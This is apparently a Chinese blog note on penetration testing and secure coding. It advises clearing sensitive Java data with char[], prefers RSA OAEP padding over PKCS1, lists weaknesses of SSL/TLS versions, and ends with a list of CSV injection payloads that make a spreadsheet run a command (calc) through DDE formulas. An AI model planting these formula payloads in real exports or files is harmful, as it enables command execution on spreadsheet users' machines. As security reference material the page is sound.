当前位置: 首页 > news >正文

【渗透测试】payload记录

Java开发使用char[]代替String保存敏感数据

Java Jvm会提供内存转储功能,当Java程序dump后,会生成堆内存的快照,保存在.hprof后缀的文件中,进而导致敏感信息的泄露。char[]可以在存储敏感数据后手动清零,String对象会永久保存数据,即便被置为空也会保存在内存中,知道垃圾回收机制将其回收。

加密算法的填充

应该使用OAEP模式而不应该使用PKCS1模式。
通常写法如下:

RSA/ECB/OAEPWithSHA-1AndGF1Padding
RSA/ECB/OAEPWithSHA-1AndMGFPadding
RSA/ECB/PKCS1Padding(禁用)

不安全协议/加密套件

  1. SSL/TLS版本:
    • SSL(2.0/3.0) 也可以称为SSLv2/SSLv3
    • TLS(1.0/1.1/1.2/1.3)也可以称TLSv1/TLSv1.1/TLSv1.2/TLSv1.3
  2. 存在的问题
    • SSL2.0
      • 使用MD5作为消息认证码
      • 握手消息未受保护
      • 加密和消息认证使用相同的密钥
    • SSL3.0
      • 数据记录协议受到POODLE攻击
      • 密钥交换时易受中间人攻击
    • TLS1.0
      • 对称加密仅支持RC4和CBC模式

CSV注入

可以使用的payload

=cmd|'/c calc'!A1
+=cmd|'/c calc'!A1
\",=cmd|'/c calc'!A1
",=cmd|'/c calc'!A1
@ABS(cmd|'/c calc'!A1)
-cmd|'/c calc'!A1
xxx, =cmd|'/c calc'!A1
xxx\n =cmd|'/c calc'!A1
xxx;=cmd|'/c calc'!A1

http://www.mrgr.cn/news/69954.html

相关文章:

  • docker desktop es windows解决vm.max_map_count [65530] is too low 问题
  • 将Docker中nginx静态资源目录映射到宿主机的某个目录
  • //字符串数组
  • 一篇文章解释AI中的“算力”与“数据”两个概念!
  • C++算法 查找一个字符串或整数或小数中任意一个元素的索引(位置)
  • 英国留学论文写作中复合句式基础知识讲解
  • Harmony鸿蒙高级证书考试
  • YOLOv11融合可变核卷积AKConv模块及相关改进思路|YOLO改进最简教程
  • Refact.ai Match 1 (Codeforces Round 985) A-D补题
  • HashMap(深入源码追踪)
  • Python小白学习教程从入门到入坑------第二十九课 访问模式(语法进阶)
  • 基于Spring Boot+Vue的养老院管理系统【原创】
  • ReactPress系列—Next.js 的动态路由使用介绍
  • 个人博客静态样式部署
  • IMX93适配4G网络
  • MATLAB课程:AI工具辅助编程——MATLAB+LLMs
  • redis开启远程登录
  • Jenkins安装自定义插件
  • 二叉树遍历/算法数据结构
  • 【系统架构设计师】2024年下半年真题论文: 论软件维护及其应用(包括参考素材)